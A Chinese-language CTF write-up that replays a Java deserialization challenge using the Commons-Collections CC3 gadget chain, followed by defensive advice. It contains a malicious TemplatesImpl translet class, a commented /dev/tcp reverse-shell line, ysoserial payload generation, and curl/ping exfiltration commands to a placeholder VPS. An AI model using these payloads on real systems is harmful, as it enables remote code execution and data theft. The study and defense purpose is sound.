1. 从一道赛题看Java反序列化的“新”与“旧”
最近在复盘去年的CISCN国赛初赛题目,其中一道名为DeserBug的Java反序列化题目让我印象挺深。它不像一些“直给”的题目,直接把利用链和payload摆在你面前,而是需要你从一堆看似平常的代码和依赖里,自己把那条能通往RCE的路给挖出来。这道题的核心,其实是考察对Java反序列化漏洞原理的深度理解,特别是对Commons-Collections这个“老演员”在特定版本和JDK环境下的“新”利用方式的掌握。很多人一看到CC链就想到TransformedMap或者LazyMap配合InvokerTransformer,但在这道题里,常规思路可能会直接碰壁。它更像是一个实战环境的微缩模型:给你一个存在潜在反序列化入口的应用,依赖库版本受限,JDK环境也有讲究,你需要像真正的安全研究员一样,去分析、去构造、去绕过。复现这道题的过程,不仅是对CC3链(TemplatesImpl加载字节码)的一次绝佳练习,更是对Java安全机制、类加载、字节码动态生成等底层知识的一次串联。接下来,我就带你一步步拆解这道DeserBug,看看如何从零开始,让一个反序列化点“吐出”一个命令执行的shell。
2. 题目环境搭建与初步信息收集
复现任何题目,第一步永远是搭建一个和比赛时尽可能一致的环境。盲目动手,很可能在环境差异上浪费大量时间。
2.1 依赖分析与项目结构
题目通常会给源码或者一个简单的项目描述。对于DeserBug,我们假设拿到的是一个标准的Spring Boot或简单Servlet项目,其中存在一个接收Base64编码数据并进行反序列化的端点。关键点在于项目的pom.xml或build.gradle文件。
首先,我们需要锁定关键的依赖版本,这直接决定了可利用的链的范围:
- Commons-Collections: 题目很可能使用了3.2.1或3.2.2版本。这是一个经典版本,包含了丰富的危险
Transformer实现。但注意,高版本JDK(>=8u71)对AnnotationInvocationHandler做了修复,导致传统的CC1(TransformedMap)链失效,这也是题目引导我们走向CC3链的原因之一。 - JDK版本: 这是另一个决定性因素。题目环境通常是JDK 8,但具体是小版本多少?为了通用性,我们的利用链最好能兼容
8u71之后的版本。CC3链(利用TemplatesImpl)对JDK版本的要求相对宽松,是更可靠的选择。 - 其他依赖: 关注是否有
commons-beanutils,javassist,asm等库,它们可能提供额外的链或构造便利。但本题核心是CC3,这些可能不是必需品。
一个典型的pom.xml依赖可能长这样:
<dependencies> <!-- 核心漏洞库 --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <!-- Web框架,提供反序列化入口 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies>注意:在实际复现中,务必使用Maven或Gradle的
dependency:tree命令确认所有依赖的实际版本,避免传递依赖引入不预期的版本导致利用失败。
2.2 反序列化入口点定位
题目名为DeserBug,暗示反序列化漏洞。我们需要在代码中找到哪里进行了不安全的反序列化操作。常见模式有:
- HTTP参数反序列化: 控制器(Controller)中读取一个参数(如
data),对其进行Base64解码,然后直接传入ObjectInputStream。 - Cookie或Session反序列化: 对特定的Cookie值进行解码和反序列化。
- RMI或JNDI注入: 但本题更偏向于直接的“白盒”代码审计。
找到的代码可能类似于:
@PostMapping("/bug") public String deserialize(@RequestParam String payload) { try { byte[] data = Base64.getDecoder().decode(payload); ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); Object obj = ois.readObject(); // 危险的反序列化点 ois.close(); return "Deserialized: " + obj.getClass().getName(); } catch (Exception e) { return "Error: " + e.getMessage(); } }这就是我们的攻击入口。我们的目标就是构造一个特殊的payload字符串,使其反序列化后能触发恶意代码执行。
2.3 利用链方向判断:为什么是CC3?
拿到环境和入口后,不要急着去网上抄一个payload。先做分析:
- CC1 (LazyMap/TransformedMap + InvokerTransformer + AnnotationInvocationHandler): 这条链在JDK
8u71之后因为AnnotationInvocationHandler#readObject的逻辑修改而失效。如果题目环境是较新的JDK8,此路不通。 - CC6 (HashSet + TiedMapEntry + LazyMap): 这条链是为了绕过CC1在高版本JDK的修复而诞生的,但它依然依赖
InvokerTransformer来执行方法调用,最终可能受到SecurityManager或某些方法黑名单的限制。 - CC3 (InstantiateTransformer/TrAXFilter + TemplatesImpl): 这条链的核心是利用
TemplatesImpl类,它内部存储了字节码,并在其newTransformer()或getOutputProperties()方法被调用时,会动态加载并实例化这些字节码。这条链的优势在于:- 最终执行的是原生Java字节码,非常灵活,可以执行任意Java代码。
- 不依赖
InvokerTransformer来反射调用Runtime.exec(),可能绕过一些基于方法名的简单防护。 - 对JDK版本依赖较小。
结合题目名称DeserBug和常见赛题套路,以及依赖中存在的commons-collections 3.2.1,利用CC3链是概率最高的突破口。我们的任务就从“如何构造一个CC3链的payload”转变为“如何结合题目具体代码,成功让反序列化过程触发TemplatesImpl#newTransformer()”。
3. CC3利用链的核心原理与手工构造
理解原理是成功利用的前提。CC3链的终点是调用TemplatesImpl#newTransformer()或getOutputProperties()。我们需要让反序列化过程自动走到这一步。
3.1 起点:寻找可用的Transformer
在Commons-Collections 3.2.1中,InstantiateTransformer和ChainedTransformer是我们的好帮手。
InstantiateTransformer: 这个Transformer的transform方法会使用反射,通过构造函数实例化一个类。例如,我们可以让它去实例化javax.xml.transform.Templates接口的某个实现类。ChainedTransformer: 它将多个Transformer串联起来,按顺序执行。我们可以用它来组合操作。
但这里有个关键转折:经典的CC3链利用TrAXFilter类作为跳板。TrAXFilter的构造函数接收一个Templates对象,并在初始化时立即调用其newTransformer()方法。因此,构造链的一种思路是:InstantiateTransformer(实例化TrAXFilter) ->TrAXFilter构造函数 -> 传入的TemplatesImpl对象 ->TemplatesImpl#newTransformer()-> 加载恶意字节码。
然而,在构造ChainedTransformer数组时,我们需要精心设计这个调用序列。
3.2 核心:构造恶意的TemplatesImpl对象
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是一个神奇的类,它实现了Serializable接口,并且内部有一个_bytecodes字段,可以存储序列化的类字节码。当它的newTransformer()或getOutputProperties()方法被调用时,会调用defineTransletClasses()方法,进而使用ClassLoader加载_bytecodes中的类并实例化。
因此,我们需要:
生成恶意字节码: 我们需要一个实现了
org.apache.xalan.xsltc.runtime.AbstractTranslet接口的类。这个类可以在静态代码块或构造函数中写入我们的恶意逻辑(如执行系统命令)。使用javassist或直接编写Java代码再编译,可以方便地生成这个类的字节数组。import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.IOException; public class EvilClass extends AbstractTranslet { static { try { // 恶意代码:执行计算器(Windows) Runtime.getRuntime().exec("calc.exe"); // 或反弹Shell(Linux) // Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec 5<>/dev/tcp/your_ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"}); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }将这个类编译后,读取其
.class文件内容,转换为字节数组。构造
TemplatesImpl对象: 通过反射,设置其_bytecodes字段为包含我们恶意类字节码的二维数组(byte[][]),同时还需要设置_name(类名)、_tfactory(一个TransformerFactoryImpl实例)等必要字段,确保类加载过程能顺利进行。TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, “_bytecodes”, new byte[][]{evilBytes}); setFieldValue(templates, “_name”, “Evil”); setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl()); // _class 字段会在加载后自动生成,无需设置
3.3 组装:构建完整的Gadget链
现在我们有恶意TemplatesImpl对象(templates)和可用的Transformer。接下来需要构建一个对象图,使得反序列化时能自动触发链式调用。
经典的CC3链组装方式之一是利用ConstantTransformer、InstantiateTransformer和ChainedTransformer来触发TrAXFilter的初始化:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), // 第一步:返回TrAXFilter.class new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} // 第二步:实例化TrAXFilter,传入我们的templates ) }; Transformer chainedTransformer = new ChainedTransformer(transformers);但是,仅仅有chainedTransformer还不够。我们需要一个“触发器”,一个在反序列化readObject时会自动调用transform方法的对象。在CC库中,LazyMap和TransformedMap可以扮演这个角色。它们会在访问其get方法时,对key或value应用指定的Transformer。
我们以TransformedMap为例,需要找到一个类,它的readObject方法会去遍历并“触碰”Map中的条目。sun.reflect.annotation.AnnotationInvocationHandler(尽管高版本JDK修复了CC1,但其readObject依然会遍历Map)或者某些其他类的反序列化逻辑可能满足条件。但在构造最终利用链时,我们需要将chainedTransformer包装进一个TransformedMap,并将这个Map作为某个可序列化对象的成员。
实际上,更常见的CC3最终组装会利用BadAttributeValueExpException或HashSet/HashMap的hashCode/equals触发的特性,来触发对LazyMap.get()的调用,进而触发整个Transformer链。这需要更精细的构造。
由于手工构造整个链非常繁琐且容易出错,在实战和CTF中,我们通常会借助像ysoserial这样的工具来生成payload。但理解每一步的原理,对于调试和解决各种“意外情况”至关重要。
4. 利用ysoserial生成Payload与本地调试
对于复现和解题,使用成熟的工具是最高效的。ysoserial是一个集成了多种Java反序列化利用链的生成工具。
4.1 生成CC3 Payload
假设我们已经用javassist生成了恶意类的字节码,并整合到了ysoserial的代码中,或者使用其内置的CommonsCollections3Gadget(它通常已经实现了基于TemplatesImpl的利用)。
在命令行中,我们可以这样生成一个执行命令的payload:
java -jar ysoserial.jar CommonsCollections3 “open /System/Applications/Calculator.app” > payload.bin这条命令会生成一个序列化后的二进制文件payload.bin,其中包含了完整的CC3利用链,最终会执行打开计算器的命令。
4.2 关键步骤:Base64编码与发送
题目入口通常接收Base64编码的字符串。我们需要将生成的二进制payload进行编码:
base64 -i payload.bin -o payload.txt或者使用Python等脚本:
import base64 with open('payload.bin', 'rb') as f: print(base64.b64encode(f.read()).decode())将得到的Base64字符串作为payload参数的值,通过POST请求发送给目标端点。
4.3 本地调试与常见问题排查
发送payload后,如果没收到预期结果(比如计算器没弹出来),就需要调试。
无回显问题: 这是CTF和实战中最常见的。命令执行了,但输出没有返回给HTTP响应。我们的测试payload(
calc.exe)是图形化程序,在无界面的服务器环境会失败。应该使用有回显的命令,比如:- Linux:
curl http://your-vps/$(whoami)或者ping -c 1 your-vps.$(id)。通过DNS或HTTP日志外带数据。 - 编写Webshell: 让恶意字节码执行向网站目录写入一个JSP文件的操作。这需要知道绝对路径,在CTF中有时可以通过报错信息或题目描述获取。
- 本题如果设计为“有回显”,可能会将命令执行结果直接或间接地反映在HTTP响应中,需要仔细构造命令(如
cat /flag)并观察响应变化。
- Linux:
类加载或字节码问题:
ClassNotFoundException或NoClassDefFoundError: 确保生成的恶意类依赖的父类(AbstractTranslet)在目标类路径中。通常TemplatesImpl相关的类位于rt.jar中,一般没问题。但如果环境特殊(如Docker精简镜像),可能缺失。- 字节码格式错误: 使用
javassist生成字节码时,要确保生成的类格式正确,特别是实现了所有必要的抽象方法(transform)。直接复制网上代码时,要注意包名和类名。
JDK版本与安全策略:
- 确认目标JDK版本。CC3链虽然对版本要求宽松,但极端高版本(如JDK 17+)可能因为模块化限制或更强的序列化过滤器而失效。
- 是否存在
SecurityManager?某些环境会启用安全管理器,禁止执行外部进程。此时需要寻找其他利用方式,如文件读写、发起网络请求等。
依赖冲突: 使用
ysoserial生成的payload依赖于特定版本的commons-collections。如果目标环境使用的是经过修改的库(比如类名被混淆),或者版本不匹配(如3.2.2与3.2.1的细微差异),可能导致利用失败。这时可能需要根据目标环境,手动调整ysoserial的源码并重新编译。
实操心得: 在本地搭建与目标完全一致的环境(包括JDK小版本、库版本)进行调试,是成功率最高的方法。利用Docker可以快速构建这样的环境。将题目源码跑起来,在本机用调试器(如IDEA)attach上去,单步跟踪反序列化和命令执行过程,能让你对利用链的每一个环节了如指掌。
5. 漏洞修复与安全编程建议
复现漏洞是为了更好地防御。通过这道题,我们可以总结出针对Java反序列化漏洞的防护措施。
5.1 根本解决方案:避免不安全的反序列化
最彻底的方法是不使用Java原生序列化(ObjectInputStream/ObjectOutputStream)来处理不可信数据。
- 使用安全的替代方案: 对于数据传输和持久化,考虑使用JSON(如Jackson、Gson)、XML(需防范XXE)、Protocol Buffers、Avro等格式。这些格式通常不直接导致代码执行。
- 如果必须使用Java序列化: 确保反序列化的数据来源绝对可信,例如来自完全受控的服务器端存储或经过强认证的通信通道。
5.2 应用层防护:输入验证与白名单
当无法避免使用ObjectInputStream时,必须实施严格的防护。
实现
ObjectInputFilter(JDK 9+): 这是JDK内置的序列化过滤器机制。可以定义白名单(允许的类)或黑名单(拒绝的类)。ObjectInputFilter filter = ObjectInputFilter.allowFilter( cl -> cl.getPackageName().equals(“com.trusted.model”), ObjectInputFilter.Status.REJECTED ); ois.setObjectInputFilter(filter);对于JDK 8,可以使用第三方库如
SerialKiller来实现类似功能。自定义
ObjectInputStream与resolveClass: 重写ObjectInputStream的resolveClass方法,对将要反序列化的类进行严格校验。public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList( “org.apache.commons.collections.functors.InvokerTransformer”, “org.apache.commons.collections.functors.InstantiateTransformer”, “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”, // ... 其他已知的危险类 )); @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (BLACKLIST.contains(className)) { throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); } }注意: 黑名单永远有被绕过的风险(新的Gadget、非标准类名等),白名单机制(只允许业务确需的类)要安全得多,但维护成本较高。
5.3 依赖管理与运行时加固
- 升级或替换危险库: 将
commons-collections升级到安全版本(如4.4,但需注意API变更),或者使用其安全替代品。对于已知存在反序列化漏洞的库,应保持关注并及时更新。 - 使用Security Manager: 配置严格的Java安全策略,限制代码执行、文件访问、网络连接等权限。但这会带来一定的复杂性和性能开销。
- JVM参数加固: 可以添加JVM参数来限制某些危险操作,例如禁止通过反射修改final字段(
-Dsun.reflect.noCaches对部分利用链有影响),但这不是根本解决方案。
5.4 开发与运维习惯
- 代码审计: 在代码审查中,重点关注所有使用
ObjectInputStream、XMLDecoder、XStream、readObject、readResolve等关键字的地方。 - 安全意识培训: 让开发者了解反序列化漏洞的危险性,避免在不明所以的情况下使用不安全的API。
- WAF/RASP防护: 在应用层防火墙(WAF)或通过运行时应用自我保护(RASP)技术,可以拦截恶意的序列化数据包,检测危险类的加载和危险方法的调用。
这道DeserBug题目,就像一把钥匙,打开了Java反序列化这个庞大而幽深领域的一扇门。从信息收集、环境分析,到原理理解、链构造,再到工具使用、调试排错,最后到防御思考,完成一次完整的复现,其收获远不止于解出一道题。它训练的是在面对一个黑盒或灰盒系统时,如何系统性地进行漏洞挖掘和利用的思维模式。在真实的安全研究中,情况往往比CTF题目更复杂,依赖更模糊,防护措施更多层,但底层原理是相通的。掌握像CC3这样经典的利用链,理解其每一步的“为什么”,才能在遇到新的变种或新的依赖库时,举一反三,找到那条通往漏洞利用的路径。